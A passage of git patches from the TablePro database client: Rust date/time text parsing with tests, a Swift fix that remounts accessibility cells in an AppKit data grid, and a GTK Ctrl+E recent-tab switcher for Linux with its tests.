+    pub time: Option<NaiveTime>,
+    pub era: Option<Range<usize>>,
+}
+
+// The day, clock and ` BC` a date or time text spells, read as `parse_literal_text` reads them:
+// the same year forms, a space or `T` between day and clock, seconds optional.
+pub fn temporal_parts(text: &str) -> TemporalParts {
+    // A 1 for every digit keeps the shape and drops the values, so a part out of range still has
+    // its place for a picker to replace.
+    let shape: String = text
+        .chars()
+        .map(|char| if char.is_ascii_digit() { '1' } else { char })
+        .collect();
+    let mut parts = spans(&shape);
+    let era = parts.era.clone().and_then(|era| text.get(era)).unwrap_or_default();
+    parts.date = parts.day.clone().and_then(|day| {
+        let day = chrono_year(&format!("{}{era}", text.get(day)?.trim_start()))?.into_owned();
+        NaiveDate::parse_from_str(&day, "%Y-%m-%d").ok()
+    });
+    parts.time = parts.clock.clone().and_then(|clock| {
+        let clock = text.get(clock)?;
+        ["%H:%M:%S", "%H:%M"]
+            .into_iter()
+            .find_map(|format| NaiveTime::parse_from_str(clock, format).ok())
+    });
+    parts
+}
+
+fn spans(text: &str) -> TemporalParts {
+    let start = text.len() - text.trim_start().len();
+    let trimmed = text.trim();
+    let written = trimmed
+        .strip_suffix(" BC")
+        .or_else(|| trimmed.strip_suffix(" bc"))
+        .unwrap_or(trimmed);
+    let Some(read) = chrono_year(trimmed) else {
+        return TemporalParts::default();
+    };
+    // `read` differs from the text only in its year and era, so a suffix of it is one of the text.
+    let end = start + written.len();
+    let at = |rest: &str| end - rest.len();
+    let mut parts = TemporalParts {
+        era: (written.len() < trimmed.len()).then_some(end..start + trimmed.len()),
+        ..TemporalParts::default()
+    };
+    let mut clock_text = read.as_ref();
+    if let Some(rest) = day_rest(&read, written) {
+        let after_t = rest.strip_prefix('T').unwrap_or(rest);
+        let joined = rest.is_empty() || rest.starts_with(char::is_whitespace) || rest.starts_with('T');
+        if joined || parse_clock(after_t).is_some() {
+            parts.day = Some(start..at(rest));
+            clock_text = after_t;
+        }
+    }
+    if let Some((_, rest)) = parse_clock(clock_text) {
+        parts.clock = Some(at(clock_text.trim_start())..at(rest));
+    }
+    parts
+}
+
+fn day_rest<'a>(read: &'a str, written: &str) -> Option<&'a str> {
+    if let Ok((_, rest)) = NaiveDate::parse_and_remainder(read, "%Y-%m-%d") {
+        return Some(rest);
+    }
+    let stand_in = far_year_stand_in(written)?;
+    let (_, rest) = NaiveDate::parse_and_remainder(&stand_in, "%Y-%m-%d").ok()?;
+    read.get(read.len() - rest.len()..)
+}
+
+fn parse_clock(text: &str) -> Option<(NaiveTime, &str)> {
+    ["%H:%M:%S", "%H:%M"]
+        .into_iter()
+        .find_map(|format| NaiveTime::parse_and_remainder(text, format).ok())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn day(text: &str) -> Option<&str> {
+        text.get(temporal_parts(text).day?)
+    }
+
+    fn clock(text: &str) -> Option<&str> {
+        text.get(temporal_parts(text).clock?)
+    }
+
+    #[test]
+    fn the_parts_are_read_as_the_commit_reads_them() {
+        assert_eq!(day(" 2024-1-5T 9:05:30.25+02 "), Some("2024-1-5"));
+        assert_eq!(clock(" 2024-1-5T 9:05:30.25+02 "), Some("9:05:30"));
+        assert_eq!(
+            clock("2024-01-0512:00"),
+            Some("12:00"),
+            "chrono reads no space as a space"
+        );
+        assert_eq!(day("12024-01-05 10:00:00"), Some("12024-01-05"));
+        assert_eq!(clock("13:45+05:30"), Some("13:45"));
+        assert_eq!(temporal_parts("13:45").time, NaiveTime::from_hms_opt(13, 45, 0));
+    }
+
+    #[test]
+    fn a_year_chrono_cannot_hold_has_a_day_and_no_date() {
+        let parts = temporal_parts("5874897-12-31 23:59:59");
+
+        assert_eq!(parts.day, Some(0..13));
+        assert_eq!(parts.date, None);
+        assert_eq!(parts.clock, Some(14..22));
+    }
+
+    #[test]
+    fn a_bc_value_keeps_its_era_apart() {
+        let text = "0044-03-15 12:00:00 BC";
+        let parts = temporal_parts(text);
+
+        assert_eq!(day(text), Some("0044-03-15"));
+        assert_eq!(parts.date, NaiveDate::from_ymd_opt(-43, 3, 15));
+        assert_eq!(clock(text), Some("12:00:00"));
+        assert_eq!(parts.era.and_then(|era| text.get(era)), Some(" BC"));
+    }
+
+    #[test]
+    fn the_end_of_the_day_is_a_clock_with_no_time() {
+        let parts = temporal_parts("24:00:00+01");
+
+        assert_eq!(parts.clock, Some(0..8));
+        assert_eq!(parts.time, None);
+        assert_eq!(temporal_parts("24:30:00").clock, Some(0..8));
+    }
+
+    #[test]
+    fn text_the_commit_refuses_has_no_parts() {
+        assert_eq!(temporal_parts("2024-02-2é 10:00:00").day, None);
+        assert_eq!(temporal_parts("infinity"), TemporalParts::default());
+        assert_eq!(temporal_parts(""), TemporalParts::default());
+    }
+
+    #[test]
+    fn a_part_out_of_range_has_its_place_and_no_value() {
+        let text = "2024-02-30 12:34:99";
+        let parts = temporal_parts(text);
+
+        assert_eq!(day(text), Some("2024-02-30"));
+        assert_eq!(parts.date, None);
+        assert_eq!(clock(text), Some("12:34:99"));
+        assert_eq!(parts.time, None);
+    }
+}

From fe1c22c2b63d4e0937b6cbcf4007067db18d72a3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 12:23:12 +0700
Subject: [PATCH 38/44] fix(data-grid): mount accessibility cells for rows a
 read prepared before they came on screen (#3891)

---
 .claude/rules/data-grid.md                    |   2 +-
 .../DataGridAccessibilityCellView.swift       |  27 +++-
 .../Views/DataGrid/DataGridTableView.swift    |  10 +-
 .../DataGridViewController+Changes.swift      |   1 -
 .../DataGrid/DataGridViewController.swift     |   3 +-
 .../DataGridAccessibilityMountTests.swift     | 139 ++++++++++++++++++
 6 files changed, 170 insertions(+), 12 deletions(-)
 create mode 100644 apple/TableProTests/Views/DataGrid/DataGridAccessibilityMountTests.swift

diff --git a/.claude/rules/data-grid.md b/.claude/rules/data-grid.md
index ef60182664..e86d304b26 100644
--- a/.claude/rules/data-grid.md
+++ b/.claude/rules/data-grid.md
@@ -66,4 +66,4 @@ Three layers, knowledge pointing one way: an owner's adapter, then `DataGridMode
 - **AppKit builds the AXCell tree from cell views only**, so while `DataGridAccessibility.isActive` the main table mounts a `DataGridAccessibilityCellView` (identifier `data-grid-cell`) for each on-screen cell. It draws nothing and takes no clicks. Keep that path working whenever row drawing changes.
 - **A label reads "Row N, column M: value"**: N is the row number on screen, page offset included, and M the display position. UI tests find cells by it (`.claude/rules/ui-tests.md`, The grid).
 - **The frozen pane is hidden from accessibility.** A frozen column's stand-in in the main table reports the frame the frozen pane shows it at.
-- **Only the viewport mounts.** Mounting for every row starved the main thread behind a 1,000-row page (#2392); rows scrolled into view remount.
+- **Only the viewport mounts.** Mounting for every row starved the main thread behind a 1,000-row page (#2392). A client's read prepares the rows it walks, off-screen ones without a stand-in, and AppKit never asks for a prepared row again. So each on-screen row still without one remounts after a scroll, a layout of the grid and a read of the table: a fitted grid grows to its rows, and a page moves a grid, with no scroll.
diff --git a/apple/TablePro/Views/DataGrid/DataGridAccessibilityCellView.swift b/apple/TablePro/Views/DataGrid/DataGridAccessibilityCellView.swift
index 71e665d3b0..c74cde2a24 100644
--- a/apple/TablePro/Views/DataGrid/DataGridAccessibilityCellView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridAccessibilityCellView.swift
@@ -156,19 +156,32 @@ extension DataGridViewController {
         return cell
     }
 
-    // A row prepared off screen was answered with no view and is never asked again, so revealed rows reload.
+    // A row prepared off screen was answered with no view and is never asked again, so an on-screen row without
+    // its stand-in reloads. Asked of the rows themselves: a client's read prepares rows the grid never showed.
     func remountAccessibilityCells(force: Bool = false) {
         guard DataGridAccessibility.isActive, !isEditingCell else { return }
         let table = main.tableView
         let visible = table.rows(in: table.visibleRect)
-        guard visible.length > 0, force || !NSEqualRanges(visible, accessibilityMountedRows) else { return }
         let upperBound = min(visible.location + visible.length, table.numberOfRows)
         guard visible.location >= 0, upperBound > visible.location, table.numberOfColumns > 0 else { return }
-        accessibilityMountedRows = visible
-        table.reloadData(
-            forRowIndexes: IndexSet(integersIn: visible.location..<upperBound),
-            columnIndexes: IndexSet(integersIn: 0..<table.numberOfColumns)
-        )
+        let rows = IndexSet(integersIn: visible.location..<upperBound).filteredIndexSet { row in
+            guard table.rowView(atRow: row, makeIfNecessary: false) != nil else { return false }
+            return force || !(table.view(atColumn: 0, row: row, makeIfNecessary: false) is DataGridAccessibilityCellView)
+        }
+        guard !rows.isEmpty else { return }
+        table.reloadData(forRowIndexes: rows, columnIndexes: IndexSet(integersIn: 0..<table.numberOfColumns))
+    }
+
+    // Rows also come on screen with no scroll: a fitted grid grows to its rows, a pane resizes, a page moves the
+    // grid. Deferred past the layout pass or accessibility read that asks, which a reload inside would re-enter.
+    func scheduleAccessibilityRemount() {
+        guard DataGridAccessibility.isActive, !isAccessibilityRemountScheduled else { return }
+        isAccessibilityRemountScheduled = true
+        DispatchQueue.main.async { [weak self] in
+            guard let self else { return }
+            self.isAccessibilityRemountScheduled = false
+            self.remountAccessibilityCells()
+        }
     }
 
     // Clamped to the visible rows: AppKit would otherwise ask for every cell of a million-row selection.
diff --git a/apple/TablePro/Views/DataGrid/DataGridTableView.swift b/apple/TablePro/Views/DataGrid/DataGridTableView.swift
index 618010def0..22028b7938 100644
--- a/apple/TablePro/Views/DataGrid/DataGridTableView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridTableView.swift
@@ -258,17 +258,23 @@ final class DataGridTableView: NSTableView {
 
     override func accessibilityChildren() -> [Any]? {
         guard paneKind == .main else { return [] }
-        DataGridAccessibility.markActive()
+        noteAccessibilityRead()
         return super.accessibilityChildren()
     }
 
     override func accessibilityCell(forColumn column: Int, row: Int) -> Any? {
         guard paneKind == .main else { return nil }
-        DataGridAccessibility.markActive()
+        noteAccessibilityRead()
         return view(atColumn: column, row: row, makeIfNecessary: false) as? DataGridAccessibilityCellView
             ?? super.accessibilityCell(forColumn: column, row: row)
     }
 
+    // A read prepares every row it walks, off screen ones without a stand-in, and some reach the screen with no scroll.
+    private func noteAccessibilityRead() {
+        DataGridAccessibility.markActive()
+        controller?.scheduleAccessibilityRemount()
+    }
+
     override func accessibilitySelectedCells() -> [Any]? {
         guard paneKind == .main else { return [] }
         return controller?.accessibilitySelectedCells() ?? super.accessibilitySelectedCells()
diff --git a/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift b/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
index 9553566c2e..ec17de9e21 100644
--- a/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
@@ -54,7 +54,6 @@ extension DataGridViewController {
         for pane in panes {
             pane.tableView.reloadData()
         }
-        accessibilityMountedRows = NSRange(location: 0, length: 0)
         drawnSelection = model.selection
         // A view-based reloadData() drops the selection without telling anyone (probe P2), so it is written back.
         mirrorSelection()
diff --git a/apple/TablePro/Views/DataGrid/DataGridViewController.swift b/apple/TablePro/Views/DataGrid/DataGridViewController.swift
index ea5af37b7b..dd7176f7af 100644
--- a/apple/TablePro/Views/DataGrid/DataGridViewController.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridViewController.swift
@@ -29,7 +29,7 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
     var knownWidths: [DataGridColumnID: CGFloat] = [:]
     var knownWidthsSawRows = false
     var savedWidthIDs: Set<DataGridColumnID> = []
-    var accessibilityMountedRows = NSRange(location: 0, length: 0)
+    var isAccessibilityRemountScheduled = false
     var needsViewportRestore = false
     var pendingFocus = false
     var lastDataGridSettings = AppSettingsManager.shared.dataGrid
@@ -159,6 +159,7 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
             applyStagedViewport()
         }
         updateFittingHeight()
+        scheduleAccessibilityRemount()
         if pendingPageReveal != nil {
             // The page scrolls once its own layout is done, so its document already holds the grid's new height.
             DispatchQueue.main.async { [weak self] in self?.performPageReveal() }
diff --git a/apple/TableProTests/Views/DataGrid/DataGridAccessibilityMountTests.swift b/apple/TableProTests/Views/DataGrid/DataGridAccessibilityMountTests.swift
new file mode 100644
index 0000000000..411c6357ad
--- /dev/null
+++ b/apple/TableProTests/Views/DataGrid/DataGridAccessibilityMountTests.swift
@@ -0,0 +1,139 @@
+//
+//  DataGridAccessibilityMountTests.swift
+//  TableProTests
+//
+
+import AppKit
+@testable import TablePro
+import TableProTestSupport
+import Testing
+
+@MainActor
+private final class FlippedPage: NSView {
+    override var isFlipped: Bool { true }
+}
+
+// A fitsRows grid on a page that scrolls, placed by hand the way the Definition page places it.
+@MainActor
+private final class FittedGridOnPage {
+    let grid: HostedDataGrid
+    private let page = NSScrollView(frame: NSRect(x: 0, y: 0, width: 800, height: 400))
+    private let document = FlippedPage(frame: .zero)
+
+    init(rows: TableRows, top: CGFloat, height: CGFloat) {
+        var configuration = DataGridConfiguration()
+        configuration.fitsRows = true
+        grid = HostedDataGrid(rows: rows, configuration: configuration)
+        page.hasVerticalScroller = true
+        page.documentView = document
+        grid.window.contentView = page
+        let gridView = grid.controller.view
+        gridView.removeFromSuperview()
+        gridView.autoresizingMask = []
+        document.addSubview(gridView)
+        place(top: top, height: height)
+        // HostedDataGrid first laid the grid out in a plain window; a reload starts it over where it now sits.
+        grid.model.reloadRows()
+        grid.layout()
+    }
+
+    var fittedHeight: CGFloat { grid.controller.measuredFittingHeight }
+
+    func place(top: CGFloat, height: CGFloat) {
+        document.frame = NSRect(x: 0, y: 0, width: page.bounds.width, height: max(page.bounds.height, top + height))
+        grid.controller.view.frame = NSRect(x: 0, y: top, width: page.bounds.width, height: height)
+        grid.layout()
+    }
+
+    // What an assistive client does on its first look: down to each cell's children, which prepares the cell's row.
+    func readEveryRow() {
+        let rows = grid.main.accessibilityAttributeValue(.children) as? [NSObject] ?? []
+        for row in rows {
+            let cells = row.accessibilityAttributeValue(.children) as? [NSObject] ?? []
+            for cell in cells {
+                _ = cell.accessibilityAttributeValue(.children)
+            }
+        }
+    }
+
+    var preparedRows: IndexSet {
+        IndexSet((0..<grid.main.numberOfRows).filter { grid.main.rowView(atRow: $0, makeIfNecessary: false) != nil })
+    }
+
+    var mountedRows: IndexSet {
+        IndexSet((0..<grid.main.numberOfRows).filter {
+            grid.main.view(atColumn: 0, row: $0, makeIfNecessary: false) is DataGridAccessibilityCellView
+        })
+    }
+
+    var visibleRows: IndexSet {
+        let range = grid.main.rows(in: grid.main.visibleRect)
+        return IndexSet(integersIn: range.location..<(range.location + range.length))
+    }
+
+    func close() {
+        grid.close()
+    }
+}
+
+extension GlobalStateSuites {
+    @MainActor
+    struct DataGridAccessibilityMountTests {
+        private let everyRow = IndexSet(integersIn: 0..<5)
+
+        // A fitted grid mounts at height 0 and grows once it has measured its rows. A client that reads it in
+        // between prepares every row while none is on screen, so none got a stand-in, and growing is no scroll.
+        @Test("A fitted grid read before it grows publishes every row once it has grown")
+        func rowsReadBeforeTheGridGrowsMount() async throws {
+            let wasActive = DataGridAccessibility.isActive
+            DataGridAccessibility.isActive = true
+            defer { DataGridAccessibility.isActive = wasActive }
+            let page = FittedGridOnPage(rows: GridFixtureRows.people, top: 40, height: 0)
+            defer { page.close() }
+
+            page.readEveryRow()
+            try #require(page.preparedRows == everyRow)
+            try #require(page.mountedRows.isEmpty)
+
+            page.place(top: 40, height: page.fittedHeight)
+            #expect(page.visibleRows == everyRow)
+
+            try await waitUntil { page.mountedRows == everyRow }
+        }
+
+        // The page moves a grid when a section above it collapses, which neither scrolls nor resizes the grid.
+        @Test("A grid moved onto the page publishes its rows to the next read")
+        func rowsMovedOntoThePageMountOnTheNextRead() async throws {
+            let wasActive = DataGridAccessibility.isActive
+            DataGridAccessibility.isActive = true
+            defer { DataGridAccessibility.isActive = wasActive }
+            let page = FittedGridOnPage(rows: GridFixtureRows.people, top: 40, height: 0)
+            defer { page.close() }
+            let height = page.fittedHeight
+            page.place(top: 1_000, height: height)
+            page.readEveryRow()
+            try #require(page.visibleRows.isEmpty)
+
+            page.place(top: 40, height: height)
+            try #require(page.visibleRows == everyRow)
+            page.readEveryRow()
+
+            try await waitUntil { page.mountedRows == everyRow }
+        }
+
+        @Test("Only the rows on the page get a stand-in, however many a client reads")
+        func onlyRowsOnThePageMount() async throws {
+            let wasActive = DataGridAccessibility.isActive
+            DataGridAccessibility.isActive = true
+            defer { DataGridAccessibility.isActive = wasActive }
+            let page = FittedGridOnPage(rows: GridFixtureRows.wide(rows: 80, columns: 3), top: 0, height: 0)
+            defer { page.close() }
+            page.place(top: 0, height: page.fittedHeight)
+            let onPage = page.visibleRows
+            try #require(!onPage.isEmpty && onPage.count < 80)
+
+            page.readEveryRow()
+            try await waitUntil { page.mountedRows == onPage }
+        }
+    }
+}

From 296b19bb0a34018967efb31de2525249f0c580a5 Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 09:51:26 +0100
Subject: [PATCH 39/44] feat(linux): switch to a recently shown tab with Ctrl+E
 (#3883)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/changelog.d/3883.added.1.md             |   1 +
 linux/changelog.d/3883.added.md               |   1 +
 .../app/src/application/accelerators.rs       |   4 +
 .../app/src/test_support/key_injector.rs      |  30 ++
 linux/crates/app/src/ui/workspace/mod.rs      |   1 +
 .../app/src/ui/workspace/recent_tabs.rs       | 503 ++++++++++++++++++
 .../app/src/ui/workspace/tests/shell.rs       |  27 +
 .../app/src/ui/workspace/workspace_actions.rs |  39 +-
 .../app/src/ui/workspace/workspace_shell.rs   |   6 +
 .../src/ui/workspace/workspace_shell_imp.rs   |   4 +
 linux/data/resources/shortcuts-dialog.ui      |  13 +
 linux/po/POTFILES.in                          |   1 +
 12 files changed, 628 insertions(+), 2 deletions(-)
 create mode 100644 linux/changelog.d/3883.added.1.md
 create mode 100644 linux/changelog.d/3883.added.md
 create mode 100644 linux/crates/app/src/ui/workspace/recent_tabs.rs

diff --git a/linux/changelog.d/3883.added.1.md b/linux/changelog.d/3883.added.1.md
new file mode 100644
index 0000000000..84654e9141
--- /dev/null
+++ b/linux/changelog.d/3883.added.1.md
@@ -0,0 +1 @@
+Ctrl+Shift+O opens the overview of the window's tabs, where typing searches them.
diff --git a/linux/changelog.d/3883.added.md b/linux/changelog.d/3883.added.md
new file mode 100644
index 0000000000..2d9810e22f
--- /dev/null
+++ b/linux/changelog.d/3883.added.md
@@ -0,0 +1 @@
+Ctrl+E goes back to the tab shown before; hold Ctrl and press E again to go further back.
diff --git a/linux/crates/app/src/application/accelerators.rs b/linux/crates/app/src/application/accelerators.rs
index bd9a9bcc61..cf68840238 100644
--- a/linux/crates/app/src/application/accelerators.rs
+++ b/linux/crates/app/src/application/accelerators.rs
@@ -83,6 +83,10 @@ pub const ACCELERATORS: &[Accelerator] = &[
     application("win.new-editor-tab", &["<Primary>t"], Tabs),
     application("win.close-current", &["<Primary>w"], Tabs),
     application("win.reopen-closed-tab", &["<Primary><Shift>t"], Tabs),
+    // Ctrl+Tab stays the tab view's next tab, as across GNOME.
+    application("win.switch-recent-tab", &["<Primary>e"], Tabs),
+    // As in GNOME Web and Console.
+    application("win.show-tabs", &["<Primary><Shift>o"], Tabs),
     // AdwTabView's own controller, which runs in the capture phase. The
     // workspace removes its Ctrl+Home and Ctrl+End pairs, so the lists
     // and the editor inside the tabs keep those keys.
diff --git a/linux/crates/app/src/test_support/key_injector.rs b/linux/crates/app/src/test_support/key_injector.rs
index b068cee045..cc52b9a88e 100644
--- a/linux/crates/app/src/test_support/key_injector.rs
+++ b/linux/crates/app/src/test_support/key_injector.rs
@@ -72,6 +72,23 @@ impl KeyInjector {
         Ok(())
     }
 
+    /// Keep `keyval` down until the guard drops, so a failed test does
+    /// not leave it held for the next one.
+    pub(crate) fn hold(&self, keyval: gdk::Key) -> Result<Held<'_>, KeyInjectionError> {
+        let keycode = self.keycode(keyval)?;
+        self.fake(KEY_PRESS_EVENT, keycode)?;
+        self.connection.flush()?;
+        self.connection.get_input_focus()?.reply()?;
+        Ok(Held { keys: self, keycode })
+    }
+
+    fn let_go(&self, keycode: u8) -> Result<(), KeyInjectionError> {
+        self.fake(KEY_RELEASE_EVENT, keycode)?;
+        self.connection.flush()?;
+        self.connection.get_input_focus()?.reply()?;
+        Ok(())
+    }
+
     /// Click the primary button `count` times at `at` in `widget`'s own
     /// coordinates, in the window that has the keyboard. A widget not laid
     /// out yet sits at the window's corner, so it is refused.
@@ -141,6 +158,19 @@ impl KeyInjector {
     }
 }
 
+pub(crate) struct Held<'a> {
+    keys: &'a KeyInjector,
+    keycode: u8,
+}
+
+impl Drop for Held<'_> {
+    fn drop(&mut self) {
+        if let Err(error) = self.keys.let_go(self.keycode) {
+            tracing::error!(%error, "a held key was not let go");
+        }
+    }
+}
+
 fn require_x11(display_type: &str) -> Result<(), KeyInjectionError> {
     if display_type == X11_DISPLAY {
         Ok(())
diff --git a/linux/crates/app/src/ui/workspace/mod.rs b/linux/crates/app/src/ui/workspace/mod.rs
index e2846f0a4d..200a2f17ad 100644
--- a/linux/crates/app/src/ui/workspace/mod.rs
+++ b/linux/crates/app/src/ui/workspace/mod.rs
@@ -14,6 +14,7 @@ mod health_banner;
 mod imp;
 mod import;
 mod import_ledger;
+mod recent_tabs;
 mod references;
 mod saves;
 mod session_watches;
diff --git a/linux/crates/app/src/ui/workspace/recent_tabs.rs b/linux/crates/app/src/ui/workspace/recent_tabs.rs
new file mode 100644
index 0000000000..a67b6aee15
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/recent_tabs.rs
@@ -0,0 +1,503 @@
+//! Ctrl+E walks back through the tabs in the order they were shown, the
+//! tab bar showing where it is. Ctrl+Tab stays the next tab, as in GNOME.
+
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{self as gtk, gdk, glib};
+use libadwaita as adw;
+
+use super::WorkspaceShell;
+
+const WALK_KEYS: &str = "tablepro-recent-walk-keys";
+const SWITCH_RECENT_TAB: &str = "win.switch-recent-tab";
+
+pub(super) struct RecentWalk {
+    // Frozen at the first press, so the tabs it passes do not reorder it.
+    order: Vec<glib::WeakRef<adw::TabPage>>,
+    at: usize,
+}
+
+impl RecentWalk {
+    fn step(&mut self, view: &adw::TabView) -> Option<adw::TabPage> {
+        let count = self.order.len();
+        (1..count).find_map(|offset| {
+            let at = (self.at + offset) % count;
+            let page = self.order[at].upgrade().filter(|page| holds(view, page))?;
+            self.at = at;
+            Some(page)
+        })
+    }
+
+    fn start(&self, view: &adw::TabView) -> Option<adw::TabPage> {
+        self.order
+            .first()
+            .and_then(glib::WeakRef::upgrade)
+            .filter(|page| holds(view, page))
+    }
+}
+
+pub(super) struct WalkHooks {
+    window: glib::WeakRef<adw::ApplicationWindow>,
+    keys: gtk::EventControllerKey,
+    active: glib::SignalHandlerId,
+}
+
+impl WalkHooks {
+    pub(super) fn release(self) {
+        if let Some(window) = self.window.upgrade() {
+            window.remove_controller(&self.keys);
+            window.disconnect(self.active);
+        }
+    }
+}
+
+impl WorkspaceShell {
+    pub(super) fn note_shown_tab(&self) {
+        let imp = self.imp();
+        // A walk records only the tab it ends on.
+        if imp.recent_walk.borrow().is_some() {
+            return;
+        }
+        let Some(page) = imp.tab_view.selected_page() else {
+            return;
+        };
+        let mut recent = imp.recent_tabs.borrow_mut();
+        recent.retain(|held| held.upgrade().is_some_and(|held| held != page));
+        recent.insert(0, page.downgrade());
+    }
+
+    pub(super) fn recent_pages(&self) -> Vec<adw::TabPage> {
+        let view = self.imp().tab_view.get();
+        let open: Vec<adw::TabPage> = (0..view.n_pages()).map(|at| view.nth_page(at)).collect();
+        let mut pages: Vec<adw::TabPage> = self
+            .imp()
+            .recent_tabs
+            .borrow()
+            .iter()
+            .filter_map(glib::WeakRef::upgrade)
+            .filter(|page| open.contains(page))
+            .collect();
+        for page in open {
+            if !pages.contains(&page) {
+                pages.push(page);
+            }
+        }
+        pages
+    }
+
+    pub(super) fn switch_recent_tab(&self) {
+        let imp = self.imp();
+        if imp.recent_walk.borrow().is_none() {
+            let order = self.recent_pages().iter().map(ObjectExt::downgrade).collect();
+            imp.recent_walk.replace(Some(RecentWalk { order, at: 0 }));
+        }
+        let view = imp.tab_view.get();
+        let next = imp.recent_walk.borrow_mut().as_mut().and_then(|walk| walk.step(&view));
+        if let Some(page) = next {
+            view.set_selected_page(&page);
+        }
+        // No release to wait for, as GNOME Shell's switcher checks.
+        if !control_held(&view) {
+            self.end_recent_walk(true);
+        }
+    }
+
+    pub(super) fn end_recent_walk(&self, keep: bool) {
+        let Some(walk) = self.imp().recent_walk.take() else {
+            return;
+        };
+        let view = self.imp().tab_view.get();
+        if !keep && let Some(start) = walk.start(&view) {
+            view.set_selected_page(&start);
+        }
+        self.note_shown_tab();
+    }
+
+    pub(super) fn hook_recent_walk(&self, window: &adw::ApplicationWindow) -> WalkHooks {
+        // On the window and past the event boundary of a dialog or a
+        // popover, so the release reaches it wherever the focus is.
+        let keys = gtk::EventControllerKey::new();
+        keys.set_name(Some(WALK_KEYS));
+        keys.set_propagation_phase(gtk::PropagationPhase::Capture);
+        keys.set_propagation_limit(gtk::PropagationLimit::None);
+        let shell = self.downgrade();
+        keys.connect_key_pressed(move |controller, keyval, _, _| {
+            let Some(shell) = shell.upgrade() else {
+                return glib::Propagation::Proceed;
+            };
+            let walking = shell.imp().recent_walk.borrow().is_some();
+            if !walking {
+                return glib::Propagation::Proceed;
+            }
+            if keyval == gdk::Key::Escape {
+                shell.end_recent_walk(false);
+                return glib::Propagation::Stop;
+            }
+            let Some(event) = controller
+                .current_event()
+                .and_then(|event| event.downcast::<gdk::KeyEvent>().ok())
+            else {
+                return glib::Propagation::Proceed;
+            };
+            // GTK's own match, so Ctrl+E steps on a layout without E too.
+            let steps = crate::application::component_trigger(SWITCH_RECENT_TAB)
+                .is_some_and(|trigger| trigger.trigger(&event, false) != gdk::KeyMatch::None);
+            // This controller runs before the window's accelerators, so
+            // another command acts on the tab the walk reached.
+            if !event.is_modifier() && !steps {
+                shell.end_recent_walk(true);
+            }
+            glib::Propagation::Proceed
+        });
+        let shell = self.downgrade();
+        keys.connect_key_released(move |_, keyval, _, _| {
+            if matches!(keyval, gdk::Key::Control_L | gdk::Key::Control_R)
+                && let Some(shell) = shell.upgrade()
+            {
+                shell.end_recent_walk(true);
+            }
+        });
+        window.add_controller(keys.clone());
+        // The release goes to another window once this one loses the keyboard.
+        let shell = self.downgrade();
+        let active = window.connect_is_active_notify(move |window| {
+            if !window.is_active()
+                && let Some(shell) = shell.upgrade()
+            {
+                shell.end_recent_walk(true);
+            }
+        });
+        WalkHooks {
+            window: window.downgrade(),
+            keys,
+            active,
+        }
+    }
+}
+
+fn holds(view: &adw::TabView, page: &adw::TabPage) -> bool {
+    (0..view.n_pages()).any(|at| &view.nth_page(at) == page)
+}
+
+fn control_held(widget: &impl IsA<gtk::Widget>) -> bool {
+    widget
+        .display()
+        .default_seat()
+        .and_then(|seat| seat.keyboard())
+        .is_some_and(|keyboard| keyboard.modifier_state().contains(gdk::ModifierType::CONTROL_MASK))
+}
+
+#[cfg(test)]
+mod tests {
+    use gtk4::prelude::*;
+    use gtk4::subclass::prelude::*;
+    use libadwaita as adw;
+
+    use crate::ui::workspace::WorkspaceShell;
+
+    fn shell_with_tabs(titles: &[&str]) -> (WorkspaceShell, Vec<adw::TabPage>) {
+        crate::register_test_resources();
+        let shell: WorkspaceShell = gtk4::glib::Object::new();
+        let view = shell.tab_view();
+        let pages = titles
+            .iter()
+            .map(|title| {
+                let page = view.append(&gtk4::Label::new(Some(title)));
+                page.set_title(title);
+                page
+            })
+            .collect();
+        (shell, pages)
+    }
+
+    fn titles(pages: &[adw::TabPage]) -> Vec<String> {
+        pages.iter().map(|page| page.title().to_string()).collect()
+    }
+
+    fn selected(shell: &WorkspaceShell) -> String {
+        shell
+            .tab_view()
+            .selected_page()
+            .map(|page| page.title().to_string())
+            .unwrap_or_default()
+    }
+
+    fn show(shell: &WorkspaceShell, pages: &[adw::TabPage], order: &[usize]) {
+        for at in order {
+            shell.tab_view().set_selected_page(&pages[*at]);
+            shell.note_shown_tab();
+        }
+    }
+
+    #[gtk4::test]
+    fn the_tabs_come_most_recently_shown_first() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[0, 2, 1]);
+
+        assert_eq!(titles(&shell.recent_pages()), ["orders", "query", "users"]);
+    }
+
+    #[gtk4::test]
+    fn a_tab_never_shown_comes_after_the_shown_ones() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[2]);
+
+        assert_eq!(titles(&shell.recent_pages()), ["query", "users", "orders"]);
+    }
+
+    #[gtk4::test]
+    fn a_closed_tab_leaves_the_order() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[0, 1, 2]);
+
+        shell.tab_view().close_page(&pages[1]);
+
+        assert_eq!(titles(&shell.recent_pages()), ["query", "users"]);
+    }
+
+    #[gtk4::test]
+    fn without_ctrl_held_each_switch_goes_to_the_tab_shown_before() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[0, 1, 2]);
+
+        shell.switch_recent_tab();
+        assert_eq!(selected(&shell), "orders");
+        assert!(shell.imp().recent_walk.borrow().is_none(), "a walk waits for a release");
+        shell.switch_recent_tab();
+        assert_eq!(selected(&shell), "query");
+        assert_eq!(titles(&shell.recent_pages()), ["query", "orders", "users"]);
+    }
